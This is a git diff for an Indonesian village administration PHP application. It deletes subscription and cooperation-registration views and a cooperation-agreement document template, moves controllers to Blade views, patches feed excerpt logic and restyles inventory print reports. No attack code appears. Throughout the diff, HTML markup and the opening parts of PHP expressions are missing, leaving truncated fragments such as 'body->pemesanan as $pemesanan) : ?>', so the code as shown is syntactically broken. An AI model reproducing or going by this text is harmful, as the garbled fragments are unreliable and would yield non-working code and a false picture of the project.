Data Gagal Dimuat, Harap Periksa Dibawah Ini
-
Fitur ini khusus untuk pelanggan Layanan (hosting, Fitur Premium, dll) untuk menampilkan status langganan.
-
  • Periksan koneksi anda, pastikan sudah terhubung dengan jaringan internet.
  • -
  • Periksa logs error terakhir di menu Pengaturan > Info Sistem > Logs
  • -
  • Token pelanggan tidak terontentikasi. Periksa [Layanan Token] di Pengaturan Pelanggan ()
  • -
  • Jika masih mengalami masalah harap menghubungi pelaksana masing-masing. -
  • - -
    -
    - - - -
    -
    -
    -
    -

    PEMESANAN LAYANAN

    -
    - body->pemesanan as $pemesanan) : ?> - status_pemesanan == 'aktif') : ?> - layanan as $layanan) : ?> - nama) && ! file_exists('mitra')) { - fopen('mitra', 'wb'); - } - ?> -
  • nama ?>
  • - - - -
    -
    -
    - -
    -
    -
    -
    -
    -
    -

    STATUS PELANGGAN

    -
    body->status_langganan); ?>
    -
    -
    - -
    -
    -
    -
    -
    -
    -

    MULAI BERLANGGANAN

    -
    body->tanggal_berlangganan->mulai); ?> (Premium)
    -
    -
    - -
    -
    -
    -
    -
    -
    -

    AKHIR BERLANGGANAN

    -
    body->tanggal_berlangganan->akhir); ?> (Premium)
    -
    -
    - -
    -
    -
    - body->status_langganan === 'aktif' || $response->body->status_langganan === 'suspended' || $response->body->status_langganan === 'tidak aktif' || $response->body->status_langganan === 'menunggu verifikasi email') : ?> -
    -
    -
    - -

    Info

    -
    -
    -
    -
    Silahkan lakukan Pendaftaran Kerjasama minimal sampai Verifikasi Email, agar Anda bisa mencetak Nota Faktur.
    -
    -
    -
    -
    - -
    - - body->status_langganan === 'menunggu verifikasi email') : ?> -
    -
    - -

    Status Registrasi

    Perbarui -
    -
    -
    -
    Silahkan cek email Anda untuk memverifikasi, atau kirim ulang pendaftaran kerjasama menggunakan email aktif untuk menerima link verifikasi baru.
    -
    -
    -
    - body->status_langganan === 'menunggu verifikasi pendaftaran') : ?> -
    -
    - -

    Status Registrasi

    -
    -
    -
    -
    Dokumen permohonan kerjasama Desa anda sedang diperiksa oleh Pelaksana Layanan .
    -
    -
    -
    - -
    - -
    - Rincian Pelanggan Perbarui -
    - -
    -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - body->token) : ?> - - - - - - - -
    ID Pelanggan:body->id ?>
    KODE setting->sebutan_desa) ?> : body->desa->kode_desa ?>
    setting->sebutan_desa) ?> : body->desa->nama_desa}, Kecamatan {$response->body->desa->nama_kec}, Kabupaten {$response->body->desa->nama_kab}, Provinsi {$response->body->desa->nama_prov}" ?>
    Domain Desa : body->domain ?>
    Nama Kontak : - body->kontak as $kontak) : ?> -
  • nama ?>
  • - -
    Token : - - - - - -
    -
    -
    -
    -
    -
    -
    -
    -
    - Rincian Pemesanan Premium - session->errors->messages->permohonan) : ?> -

    - -

    - Info: Nota faktur dapat dicetak hanya untuk pembayaran yang sudah lunas dan telah melakukan pendaftaran kerjasama sampai verifikasi email. -
    -
    -
    - - - - - - - - - - - - - - body->pemesanan as $number => $pemesanan) : ?> - - - - - - - - - - - - -
    NoAksiLayananTanggal MulaiTanggal BerakhirStatus PemesananStatus Pembayaran
    - setting->layanan_opendesa_token; - ?> - status_pembayaran == 1 && $response->body->status_langganan === 'terdaftar' || $response->body->status_langganan === 'menunggu verifikasi pendaftaran' || $response->body->status_langganan === 'email telah terverifikasi') : ?> - faktur}&token={$token}" ?>" class="btn btn-social bg-purple btn-sm btn-sm visible-xs-block visible-sm-inline-block visible-md-inline-block visible-lg-inline-block" title="Cetak Nota Faktur">Cetak Nota Faktur - - - Perpanjang - - - - layanan as $layanan) : ?> - kategori_id == 4) : ?> - - nama; ?>number; ?>
    - #tbl-premium-' . $number . ' { display:table-row!important;}'; ?> - - - #tbl-premium-' . $number . ' { display:none;}'; ?> - - -
    tgl_mulai); ?> - tgl_akhir; - echo tgl_indo(date('Y-m-t', strtotime($a_date))); - ?> - - - perlu diperpanjang - - status_pemesanan ?> - - - status_pembayaran == 1 ? 'lunas' : 'belum lunas' ?> -
    -
    -
    -
    -
    -
    - Rincian Pemesanan Lainnya - session->errors->messages->permohonan) : ?> -

    - -

    - Info: Nota faktur dapat dicetak hanya untuk pembayaran yang sudah lunas dan telah melakukan pendaftaran kerjasama sampai verifikasi email. -
    -
    -
    - - - - - - - - - - - - - - - body->pemesanan as $number => $pemesanan) : ?> - - - - - - - - - - - - #box-pemesanan-lainnya { display:none;}'; ?> - - -
    NoAksiLayananTanggal MulaiTanggal BerakhirStatus PemesananStatus Pembayaran
    - setting->layanan_opendesa_token; - ?> - status_pembayaran == 1 && $response->body->status_langganan === 'terdaftar' || $response->body->status_langganan === 'menunggu verifikasi pendaftaran' || $response->body->status_langganan === 'email telah terverifikasi') : ?> - faktur}&token={$token}" ?>" class="btn btn-social bg-purple btn-sm btn-sm visible-xs-block visible-sm-inline-block visible-md-inline-block visible-lg-inline-block" title="Cetak Nota Faktur">Cetak Nota Faktur - - - Perpanjang - - - layanan as $layanan) : ?> - kategori_id != 4) : ?> - - nama; ?>
    - #tbl-pemesanan-' . $number . ' { display:table-row!important;}'; ?> - - #tbl-pemesanan-' . $number . ' { display:none;}'; ?> - - -
    tgl_mulai); ?>tgl_akhir); ?> - - perlu diperpanjang - - status_pemesanan ?> - - - status_pembayaran == 1 ? 'lunas' : 'belum lunas' ?> -
    -
    -
    -
    - -
    - body->pemesanan as $pemesanan) : ?> - layanan as $layanan) : ?> - - - -
    - -
    -
    - - - - \ No newline at end of file diff --git a/donjo-app/third_party/pelanggan/views/pelanggan/perpanjang_layanan.php b/donjo-app/third_party/pelanggan/views/pelanggan/perpanjang_layanan.php deleted file mode 100644 index 67e8e157e..000000000 --- a/donjo-app/third_party/pelanggan/views/pelanggan/perpanjang_layanan.php +++ /dev/null @@ -1,43 +0,0 @@ -
    -
    -

    Perpanjang Layanan

    - -
    -
    - -
    -
    \ No newline at end of file diff --git a/donjo-app/third_party/pendaftaran_kerjasama/controllers/Pendaftaran_kerjasama_controller.php b/donjo-app/third_party/pendaftaran_kerjasama/controllers/Pendaftaran_kerjasama_controller.php index b71a30b7e..f18ea0b76 100644 --- a/donjo-app/third_party/pendaftaran_kerjasama/controllers/Pendaftaran_kerjasama_controller.php +++ b/donjo-app/third_party/pendaftaran_kerjasama/controllers/Pendaftaran_kerjasama_controller.php @@ -76,14 +76,18 @@ public function index() public function terdaftar(): void { - $data = json_decode(json_encode($this->request, JSON_THROW_ON_ERROR), null); - $this->load->view('pendaftaran_kerjasama/terdaftar', $data, false); + $data = json_decode(json_encode($this->request, JSON_THROW_ON_ERROR), null); + $response = $data->response; + + view('admin.pendaftaran_kerjasama.terdaftar', compact('response')); } public function form(): void { - $data = json_decode(json_encode($this->request, JSON_THROW_ON_ERROR), null); - $this->load->view('pendaftaran_kerjasama/form', $data, false); + $data = json_decode(json_encode($this->request, JSON_THROW_ON_ERROR), null); + $response = $data->response; + + view('admin.pendaftaran_kerjasama.form', compact('response')); } public function register() @@ -174,6 +178,6 @@ public function dokumen_template(): void $data['stempel'] = to_base64(STEMPEL); $data['layanan_logo'] = to_base64(LAYANAN_LOGO); - $this->load->view('pendaftaran_kerjasama/template', $data); + view('admin.pendaftaran_kerjasama.template', $data); } } diff --git a/donjo-app/third_party/pendaftaran_kerjasama/views/pendaftaran.blade.php b/donjo-app/third_party/pendaftaran_kerjasama/views/pendaftaran.blade.php deleted file mode 100644 index cec211f04..000000000 --- a/donjo-app/third_party/pendaftaran_kerjasama/views/pendaftaran.blade.php +++ /dev/null @@ -1,145 +0,0 @@ -@extends('admin.layouts.index') - -@section('content') -
    -@endsection -@push('scripts') - -@endpush diff --git a/donjo-app/third_party/pendaftaran_kerjasama/views/pendaftaran_kerjasama/form.php b/donjo-app/third_party/pendaftaran_kerjasama/views/pendaftaran_kerjasama/form.php deleted file mode 100644 index f72051cee..000000000 --- a/donjo-app/third_party/pendaftaran_kerjasama/views/pendaftaran_kerjasama/form.php +++ /dev/null @@ -1,177 +0,0 @@ - -
    -

    Pendaftaran Kerjasama

    - -
    -
    - -
    -
    - -

    Tidak Terhubung Dengan Jaringan

    -
    -
    -
    -
    Data Gagal Dimuat, Harap Periksa Jaringan Anda Telebih Dahulu.
    -
    -
    -
    - -
    -
    -

    Pendaftaran Kerjasama

    -
    -
    -

    (lembaga hukum dikukuhkan Keputusan Menteri Hukum dan Hak Asasi Manusia Nomor AHU-0001417.AH.01.08.Tahun 2021) menyediakan aplikasi dan layanan yang memerlukan kontribusi yang perlu dianggarkan Desa. Untuk memenuhi peraturan pengadaan yang berlaku, Desa perlu memiliki kerjasama pengadaan dengan sebelum dapat menggunakan aplikasi dan layanan berbayar tersebut.

    -

    Gunakan fitur ini untuk mendaftarkan dan mengeksekusi kerjasama resmi dengan . Setelah Kesepakatan Kerjasama antara Desa dan berlaku, Desa akan terdaftar sebagai Desa Digital dan berhak mengakses aplikasi dan layanan berbayar dan program-program peningkatan desa digital lainnya.

    -

    Cetak dokumen Kesepakatan Kerjasama menggunakan tombol yang disediakan. Langkah untuk melengkapi pendaftaran adalah sebagai berikut:

    -

    -

      -
    1. Cetak dokumen Kesepakatan Kerjasama (Pada pengaturan cetak, Option : Headers and Footers jangan di centang).
    2. -
    3. Isi tanggal penandatanganan.
    4. -
    5. Tandatangani oleh Kades sebagai PIHAK KESATU di atas meterai Rp10.000
    6. -
    7. Scan dokumen yang telah ditandatangani.
    8. -
    9. Unggah hasil scan menggunakan form pendaftaran.
    10. -
    11. Simpan dokumen asli di arsip kantor desa.
    12. -
    13. Cek email inbox/pesan yang Anda gunakan untuk memverifikasi.
    14. -
    15. Setelah pendaftaran diverifikasi dan kerjasama diaktifkan oleh , email pemberitahuan akan dikirim ke alamat email terdaftar.
    16. -
    -
    -
    - data->status_langganan === 'menunggu verifikasi email') : ?> -
    -
    - -

    Status Registrasi

    -
    -
    -
    -
    Kami telah mengirim link verifikasi ke data->email ?>
    Silahkan cek email Anda untuk memverifikasi, atau kirim ulang pendaftaran kerjasama menggunakan email aktif untuk menerima link verifikasi baru.
    -
    -
    -
    - data->status_langganan === 'menunggu verifikasi pendaftaran') : ?> -
    -
    - -

    Status Registrasi

    -
    -
    -
    -
    Dokumen permohonan kerjasama Desa anda sedang diperiksa oleh Pelaksana Layanan .
    -
    -
    -
    - -
    -
    - -

    Langkah-langkah melakukan pengecekan email untuk verifikasi -

    -
    -
    -
    1. Cek folder kotak masuk / inbox, jika ada, maka silahkan klik pesan tersebut lalu klik tombol verifikasi email.
    -
    2. Cek folder spam, jika ada, maka:
    - - Klik pesan lalu hapus label spam pada pesan tersebut.
    - - Setelah label spam dihapus, pesan akan masuk ke folder inbox.
    - - Selanjutnya cek folder inbox, dan silahkan klik pesan dan klik tombol verifikasi.
    -
    -
    3. Jika Anda tidak menerima pesan pada folder inbox dan folder spam, silahkan kirim ulang pendaftaran kerjasama menggunakan email aktif untuk menerima link verifikasi baru, pastikan email sudah benar.
    -
    -
    -
    -
    -
    -

    Form Pendaftaran Kerjasama

    -
    -
    -
    -
    - - - -
    - data->status_langganan === 'menunggu verifikasi email') : ?> - - - - - session->errors->messages->email) : ?> -

    - -
    -
    -
    - -
    - -
    -
    -
    - -
    - - session->errors->messages->desa) : ?> -

    - -
    -
    -
    - -
    - - session->errors->messages->domain) : ?> -

    - -
    -
    -
    - -
    - - session->errors->messages->kontak_nama) : ?> -

    - -
    -
    -
    - -
    - - session->errors->messages->kontak_no_hp) : ?> -

    - -
    -
    -
    - -
    -
    - - - - - - - Unduh Dokumen Kerjasama - -
    - session->errors->messages->permohonan) : ?> -

    - -
    -
    -
    - -
    -
    - -
    diff --git a/donjo-app/third_party/pendaftaran_kerjasama/views/pendaftaran_kerjasama/pendaftaran.php b/donjo-app/third_party/pendaftaran_kerjasama/views/pendaftaran_kerjasama/pendaftaran.php deleted file mode 100644 index e69de29bb..000000000 diff --git a/donjo-app/third_party/pendaftaran_kerjasama/views/pendaftaran_kerjasama/template.php b/donjo-app/third_party/pendaftaran_kerjasama/views/pendaftaran_kerjasama/template.php deleted file mode 100644 index f240eb060..000000000 --- a/donjo-app/third_party/pendaftaran_kerjasama/views/pendaftaran_kerjasama/template.php +++ /dev/null @@ -1,430 +0,0 @@ - - - - - - - - KESEPAKATAN MENJADI DESA DIGITAL <?= strtoupper(config_item('nama_lembaga')) ?> - - - - - - - - - - -
    - - -

    - KESEPAKATAN KERJASAMA -

    -

    - ANTARA -

    -

    - PEMERINTAH DESA -

    -

    - DENGAN -

    -

    - PERKUMPULAN DESA DIGITAL TERBUKA -

    -

    - -

    -

    - TENTANG -

    -

    - - PEMANFAATAN APLIKASI DAN LAYANAN MENUJU DESA CERDAS - -

    -

    - -

    -

    - NOMOR :
    - NOMOR : -

    -
    - -
    -

    - Pada hari ini, Tanggal Bulan Tahun - bertempat di , yang bertandatangan di bawah ini : -

    - - - - - - - - - - - - - - - - - - - - - -
    -

    - -

    -
    -

    - : -

    -
    -

    - Kepala Desa/Lurah yang berkedudukan dan - berkantor di , dalam hal ini bertindak - dalam jabatannya selanjutnya disebut PIHAK KESATU. -

    -
    -
    -

    - LUSIANTO, S.Kom., M.Si -

    -
    -

    - : -

    -
    -

    - Jabatan Ketua Umum Perkumpulan Desa Digital Terbuka, berkedudukan di Sekretariat Nasional Perkumpulan Desa Digital Terbuka, Nagari Tanjung Haro Sikabu-kabu Padang panjang Kecamatan Luak kabupaten Lima Puluh Kota Provinsi Sumatera Barat, dalam hal ini bertindak untuk atas nama perkumpulan desa digital terbuka, selanjutnya disebut PIHAK KEDUA. -

    -
    -
    -

    - PIHAK KESATU - dan PIHAK KEDUA yang selanjutnya disebut sebagai PARA PIHAK sepakat mengadakan - Kerjasama yang saling - menguntungkan dalam rangka pemenuhan tugas dan fungsi untuk kemajuan Desa - mewujudkan Desa Digital melalui pemanfaatan aplikasi dan layanan yang - disediakan PIHAK KEDUA, dengan ketentuan sebagai berikut: -

    -

    -

    - PASAL 1
    - DASAR HUKUM -

    -
      -
    1. -

      - Undang-Undang Nomor 11 Tahun 2008 tentang Informasi dan Transaksi - Elektronik. -

      -
    2. -
    3. -

      - Undang Undang Nomor 14 Tahun 2008 tentang Keterbukaan Informasi Publik. -

      -
    4. -
    5. -

      - Undang-undang Nomor 25 Tahun 2009 tentang Pelayanan Publik. -

      -
    6. -
    7. -

      - Undang-Undang Nomor 6 Tahun 2014 tentang Desa. -

      -
    8. -
    9. -

      - Peraturan Pemerintah Nomor 43 Tahun 2014 tentang Peraturan Pelaksanaan - Undang-Undang Nomor 6 tahun 2014 tentang Desa (Lembaran Negara Republik - Indonesia Tahun 2014 Nomor 123, Tambahan Lembaran Negara Republik Indonesia - Nomor 5539) sebagaimana telah diubah dengan Peraturan Pemerintah Nomor 47 - Tahun 2015 tentang Perubahan Peraturan Pemerintah Nomor 43 Tahun 2014 - tentang Peraturan Pelaksanaan Undang Undang Nomor 6 tahun 2014 tentang - Desa. -

      -
    10. -
    11. -

      - Peraturan Menteri Dalam Negeri Republik Indonesia Nomor 96 Tahun 2017 - tentang Tata Cara Kerja Sama Desa di Bidang Pemerintahan. -

      -
    12. -
    13. -

      - Peraturan Menteri Dalam Negeri Republik Indonesia Nomor 20 Tahun 2018 - Tentang Pengelolaan Keuangan Desa. -

      -
    14. -
    15. -

      - Peraturan Lembaga Kebijakan Pengadaan Barang/Jasa Pemerintah Nomor 12 - Tahun 2019 tentang pedoman Penyusunan Tata Cara Pengadaan Barang/Jasa di - Desa. -

      -
    16. -
    17. -

      - Peraturan Menteri Desa, Pembangunan Daerah Tertinggi dan Transmigrasi - Republik Indonesia Nomor 21 Tahun 2020 tentang Pedoman Umum Pembangunan - Desa dan Pemberdayaan Masyarakat Desa. -

      -
    18. -
    -
    -

    - PASAL 2
    - MAKSUD DAN TUJUAN -

    -

    - PIHAK KESATU - bertujuan mewujudkan Desa menjadi Desa Digital menuju - Desa Cerdas. Untuk tujuan itu, PIHAK KESATU bermaksud - menggunakan aplikasi dan layanan yang disediakan . -

    -

    - Maksud dan tujuan Kesepakatan Kerjasama ini adalah untuk saling mendukung dan - bersinergi dalam rangka mewujudkan pemerintahan desa yang transparan dan - efisien dengan menggunakan teknologi informasi dan komunikasi (ICT) untuk - meningkatkan kapasitas desa dalam rangka mewujudkan Desa Digital menuju - Desa Cerdas. -

    -
    -

    - PASAL 3
    - RUANG LINGKUP -

    -

    - Ruang lingkup Kesepakatan Kerjasama ini adalah pemanfaatan aplikasi dan - layanan yang disediakan . -

    -

    -

    - PASAL 4
    - PELAKSANAAN -

    -
      -
    1. -

      - Pelaksanaan Kesepakatan Kerjasama ini adalah mewujudkan Desa Digital di Desa - dengan - memanfaatkan aplikasi dan - layanan yang disediakan PIHAK KEDUA. -

      -
    2. -
    3. -

      - Dengan berlakunya Kesepakatan Kerjasama ini, PIHAK KEDUA - akan menyediakan layanan untuk dapat dimanfaatkan oleh PIHAK KESATU, di mana - layanan - tersebut hanya tersedia bagi - desa yang telah bekerjasama sehingga terdaftar sebagai Desa Digital - . -

      -
    4. -
    5. -

      - Untuk mewujudkan Desa Digital, PIHAK KESATU dapat - memanfaatkan dan memesan aplikasi dan layanan PIHAK KEDUA - sesuai ketentuan pemesanan dan penggunaan masing-masing aplikasi dan - layanan. -

      -
    6. -
    7. -

      - Terhadap pelaksanaan Kesepakatan Kerjasama ini sebagaimana dimaksud pada - ayat (1) akan dilakukan pemantauan dan evaluasi secara berkala oleh PARA PIHAK sebagai - laporan - dalam rangka mendukung - perencanaan program kerja sama selanjutnya. -

      -
    8. -
    -
    -

    - PASAL 5
    - JANGKA WAKTU -

    -
      -
    1. -

      - Kesepakatan Kerjasama berlaku terhitung sejak ditandatanganinya - Kesepakatan Kerjasama ini tanpa batas waktu. -

      -
    2. -
    3. -

      - Kesepakatan Kerjasama ini dapat diakhiri oleh PARA PIHAK - dengan pemberitahuan tertulis dari satu pihak kepada pihak yang lain. -

      -
    4. -
    -
    -

    - PASAL 6
    - PEMBIAYAAN -

    -

    - Desa akan berkontribusi dalam pembiayaan gotong-royong nasional - pengembangan dan penerapan aplikasi kelolaan sesuai dengan - aplikasi dan layanan yang dimanfaatkan. Pembiayaan tersebut diturunkan - dalam perjanjian atau pemesanan terpisah yang disepakati PARA PIHAK untuk aplikasi dan layanan - yang - digunakan. -

    -
    -

    - PASAL 7
    - PENYELESAIAN PERSELISIHAN -

    -
      -
    1. -

      - Setiap perselisihan, pertentangan dan perbedaan pendapat yang timbul - sehubungan dengan Perjanjian ini akan diselesaikan terlebih dahulu secara - musyawarah dan mufakat oleh PARA PIHAK. -

      -
    2. -
    3. -

      - Apabila penyelesaian secara musyawarah tidak berhasil mencapai mufakat, - maka PARA PIHAK sepakat untuk menyerahkan penyelesaian - perselisihan tersebut melalui Pengadilan. -

      -
    4. -
    5. -

      - - Mengenai Perjanjian ini dan segala akibatnya, PARA PIHAK memilih kediaman hukum atau - domisili - yang tetap - dan umum di Kantor Pengadilan Negeri Kabupaten Lima Puluh Kota. -

      -
    6. -
    -

    -

    - PASAL 8
    - LAIN-LAIN -

    -
      -
    1. -

      - Pelaksanaan Kesepakatan Kerjasama ini tidak terpengaruh dengan terjadinya - pergantian kepemimpinan dari PARA PIHAK. -

      -
    2. -
    3. -

      - Dalam hal terjadi perubahan atau terdapat ketentuan yang belum diatur - dalam Kesepakatan Kerjasama ini dituangkan dalam bentuk addendum - atas persetujuan PARA PIHAK yang merupakan bagian tidak - terpisahkan dari Kesepakatan Kerjasama ini. -

      -
    4. -
    -
    -

    - PASAL 9
    - PENUTUP -

    -
      -
    1. -

      - Kesepakatan Kerjasama ini dibuat dalam rangkap 1 (satu) bermeterai cukup - dan ditandatangani basah oleh PIHAK KESATU dan tanda - tangan digital oleh PIHAK KEDUA. -

      -
    2. -
    3. -

      - Kesepakatan Kerjasama ini disampaikan untuk disepakati PIHAK KEDUA dengan diunggahnya - hasil - scan - Perjanjian ini - yang telah ditandatangani PIHAK KESATU sesuai ayat (1) - melalui fitur pendaftaran Desa Digital yang disediakan di aplikasi - . PIHAK KEDUA secara resmi menyatakan persetujuan - dengan Kesepakatan Kerjasama ini dengan mengubah status pendaftaran menjadi - TERDAFTAR. -

      -
    4. -
    5. -

      - Setelah Kesepakatan Kerjasama ini dieksekusi, Desa akan resmi - terdaftar sebagai Desa Digital , dan berhak mengakses aplikasi, - layanan dan kegiatan yang hanya tersedia bagi desa yang terdaftar sebagai - Desa Digital . -

      -
    6. -
    7. -

      - Kesepakatan Kerjasama ini dibuat dengan semangat kerja sama yang baik, - untuk dipatuhi dan dilaksanakan oleh PARA PIHAK. -

      -
    8. -
    -
    - - - - - - - - - - - - - - - - - - - -
    -

    - -

    -
    - Desa , -
    -

    - PIHAK KESATU, -

    -
    -

    - PIHAK KEDUA, -

    -
    -

    - -

    -
    -

    - LUSIANTO, S.Kom., M.Si -

    -
    - - - diff --git a/donjo-app/third_party/pendaftaran_kerjasama/views/pendaftaran_kerjasama/terdaftar.php b/donjo-app/third_party/pendaftaran_kerjasama/views/pendaftaran_kerjasama/terdaftar.php deleted file mode 100644 index 276febd4d..000000000 --- a/donjo-app/third_party/pendaftaran_kerjasama/views/pendaftaran_kerjasama/terdaftar.php +++ /dev/null @@ -1,94 +0,0 @@ - -
    -

    Pendaftaran Kerjasama

    - -
    -
    - -
    -
    - -

    Tidak Terhubung Dengan Jaringan

    -
    -
    -
    -
    Data Gagal Dimuat, Harap Periksa Jaringan Anda Telebih Dahulu.
    -
    -
    -
    - - data->status_registrasi === 'menunggu verifikasi email') : ?> -
    -
    - -

    Status Registrasi

    -
    -
    -
    -
    Silahkan cek email Anda untuk memverifikasi.
    -
    -
    -
    - data->status_registrasi === 'menunggu verifikasi pendaftaran') : ?> -
    -
    - -

    Status Registrasi

    -
    -
    -
    -
    Dokumen permohonan Desa anda sedang diperiksa oleh Pelaksana Layanan .
    -
    -
    -
    - -
    -
    - -

    message ?>

    -
    -
    -
    Rincian Pelanggan
    -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    ID Pelanggan:data->id ?>
    Status Registrasi:data->status_langganan ?>
    KODE setting->sebutan_desa) ?> : data->desa->kode_desa ?>
    setting->sebutan_desa) ?> : data->desa->nama_desa}, Kecamatan {$response->data->desa->nama_kec}, Kabupaten {$response->data->desa->nama_kab}, Provinsi {$response->data->desa->nama_prov}" ?>
    Domain Desa : data->domain ?>
    Nama Kontak : data->nama_kontak} | {$response->data->no_hp_kontak}" ?>
    -
    -
    -
    - -
    diff --git a/donjo-app/views/database/backup.php b/donjo-app/views/database/backup.php index 037913afe..b1ad698e9 100644 --- a/donjo-app/views/database/backup.php +++ b/donjo-app/views/database/backup.php @@ -99,7 +99,7 @@
    - +
    @@ -145,7 +145,7 @@
    - +
    diff --git a/donjo-app/views/dokumen/lembaran_desa_print.php b/donjo-app/views/dokumen/lembaran_desa_print.php deleted file mode 100644 index 40307c8ef..000000000 --- a/donjo-app/views/dokumen/lembaran_desa_print.php +++ /dev/null @@ -1,91 +0,0 @@ - - - - - - - - - - - Lembaran dan Berita <?=ucwords($this->setting->sebutan_desa)?> - - - - - -
    -
    -
    -

    BUKU LEMBARAN setting->sebutan_desa)?> DAN BERITA setting->sebutan_desa)?>

    -

    setting->sebutan_desa . ' ' . $desa['nama_desa'] . $this->setting->sebutan_kecamatan . ' ' . $desa['nama_kecamatan'] . ' ' . $this->setting->sebutan_kabupaten . ' ' . $desa['nama_kabupaten'])?>

    -

    -
    -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    NOMOR URUTJENIS PERATURAN DI DESANOMOR DAN TANGGAL DITETAPKANTENTANGDIUNDANGKANKET.
    TANGGALNOMOR
    1234567
    -

    - load->view('global/blok_ttd_pamong.php', ['total_col' => 6, 'spasi_kiri' => 1, 'spasi_tengah' => 2]); ?> -
    -
    - - diff --git a/donjo-app/views/dokumen/table_lembaran_desa.php b/donjo-app/views/dokumen/table_lembaran_desa.php deleted file mode 100644 index 1e32f9027..000000000 --- a/donjo-app/views/dokumen/table_lembaran_desa.php +++ /dev/null @@ -1,165 +0,0 @@ - -
    - -
    -
    -
    - -
    -
    -
    -
    diff --git a/donjo-app/views/feed.php b/donjo-app/views/feed.php index 8e9c93962..5e46bf8f8 100644 --- a/donjo-app/views/feed.php +++ b/donjo-app/views/feed.php @@ -24,7 +24,13 @@ gambar}")): ?> gambar}") ?>" /> - isi, 0, max(strpos($key->isi, ' ', 260), 200))) . '[...]'); ?> + isi, ' ', 260); + if ($position === false) { + $position = 200; + } + echo htmlentities(strip_tags(substr($key->isi, 0, max($position, 200))) . '[...]'); + ?> ]]> diff --git a/donjo-app/views/fmandiri/bantuan.php b/donjo-app/views/fmandiri/bantuan.php index bf2e5c45c..a4e39e69e 100644 --- a/donjo-app/views/fmandiri/bantuan.php +++ b/donjo-app/views/fmandiri/bantuan.php @@ -92,8 +92,8 @@ function show_kartu_peserta(elem) {
    - - " class="btn bg-black btn-sm" title="Kartu Peserta" " onclick="show_kartu_peserta($(this));" class="btn btn-success btn-sm" > + " class="btn bg-black btn-sm" title="Kartu Peserta" > diff --git a/donjo-app/views/fmandiri/kehadiran.php b/donjo-app/views/fmandiri/kehadiran.php index 7f83a92b6..642ceeec5 100644 --- a/donjo-app/views/fmandiri/kehadiran.php +++ b/donjo-app/views/fmandiri/kehadiran.php @@ -67,10 +67,10 @@ pamong_nama ?> jabatan->nama; ?>status_kehadiran) ? '-' : ucfirst($item->status_kehadiran); ?>kehadiranPerangkat?->last()?->status_kehadiran ?? '-'; ?> - status_kehadiran == 'hadir' && setting('tampilkan_kehadiran') == '1'): ?> - id_penduduk == $this->session->is_login->id_pend && date('Y-m-d', strtotime($item->waktu)) === date('Y-m-d')): ?> + kehadiranPerangkat?->last()?->status_kehadiran == 'hadir' && setting('tampilkan_kehadiran') == '1'): ?> + id_penduduk == $this->session->is_login->id_pend && date('Y-m-d', strtotime($item?->kehadiranPengaduan?->last()?->waktu)) === date('Y-m-d')): ?> Telah dilaporkan pamong_id}"); ?>" class="btn btn-primary btn-sm btn-social" title="Laporkan perangkat desa" data-toggle="modal" data-target="#confirm-delete"> Laporkan diff --git a/donjo-app/views/fmandiri/lapak.php b/donjo-app/views/fmandiri/lapak.php index ba12a7be6..15069063c 100644 --- a/donjo-app/views/fmandiri/lapak.php +++ b/donjo-app/views/fmandiri/lapak.php @@ -224,6 +224,13 @@ var MAPBOX_KEY = ''; var JENIS_PETA = ''; + var options = { + maxZoom: , + minZoom: , + fullscreenControl: { + position: 'topright' // Menentukan posisi tombol fullscreen + } + }; $(document).on('shown.bs.modal', '#map-modal', function(event) { let link = $(event.relatedTarget); @@ -235,7 +242,7 @@ let posisi = [link.data('lat'), link.data('lng')]; let zoom = link.data('zoom'); let logo = L.icon({ - iconUrl: "", + iconUrl: "", }); $("#lat").val(link.data('lat')); diff --git a/donjo-app/views/inventaris/laporan/inventaris_print.php b/donjo-app/views/inventaris/laporan/inventaris_print.php index 800b45c71..27b425236 100644 --- a/donjo-app/views/inventaris/laporan/inventaris_print.php +++ b/donjo-app/views/inventaris/laporan/inventaris_print.php @@ -51,6 +51,21 @@ text-align: right; /* padding-right:20px; */ } + .info-item { + display: flex; + margin-bottom: 5px; /* Optional: adjust spacing between rows */ + } + .label { + white-space: nowrap; + text-align: left; + margin-right: 5px; + } + .separator { + margin-right: 5px; + } + .value { + text-align: left; + } @@ -65,16 +80,28 @@
    -
    - setting->sebutan_desa . ' = ' . $header['nama_desa']) ?>
    - setting->sebutan_kecamatan . ' = ' . $header['nama_kecamatan']) ?>
    - setting->sebutan_kabupaten . ' = ' . $header['nama_kabupaten']) ?>
    +
    +
    + setting->sebutan_desa) ?> + : + +
    +
    + setting->sebutan_kecamatan) ?> + : + +
    +
    + setting->sebutan_kabupaten) ?> + : + +
    KODE LOKASI : _ _ . _ _ . _ _ . _ _ . _ _ . _ _ . _ _ _
    -
    +
    @@ -258,7 +285,7 @@ - + @@ -279,18 +306,30 @@ - + - +
      KEPALA SKPD  
      (......................................................................)( ) ( )  
      NIP ............................................................  
    + \ No newline at end of file diff --git a/donjo-app/views/inventaris/laporan/inventaris_print_mutasi.php b/donjo-app/views/inventaris/laporan/inventaris_print_mutasi.php index 20b056fef..b503db103 100644 --- a/donjo-app/views/inventaris/laporan/inventaris_print_mutasi.php +++ b/donjo-app/views/inventaris/laporan/inventaris_print_mutasi.php @@ -39,6 +39,21 @@ text-align:right; /* padding-right:20px; */ } + .info-item { + display: flex; + margin-bottom: 5px; /* Optional: adjust spacing between rows */ + } + .label { + white-space: nowrap; + text-align: left; + margin-right: 5px; + } + .separator { + margin-right: 5px; + } + .value { + text-align: left; + } @@ -51,15 +66,26 @@
    -
    - setting->sebutan_desa . ' = ' . $header['nama_desa']) ?>
    - setting->sebutan_kecamatan . ' = ' . $header['nama_kecamatan']) ?>
    - setting->sebutan_kabupaten . ' = ' . $header['nama_kabupaten']) ?>
    +
    +
    + setting->sebutan_desa) ?> + : + +
    +
    + setting->sebutan_kecamatan) ?> + : + +
    +
    + setting->sebutan_kabupaten) ?> + : + +
    KODE LOKASI : _ _ . _ _ . _ _ . _ _ . _ _ . _ _ . _ _ _
    -

    @@ -235,7 +261,7 @@ - + @@ -250,18 +276,29 @@ - + - +
      KEPALA SKPD  
      (...................................)( ) ( )  
      NIP ...................................  
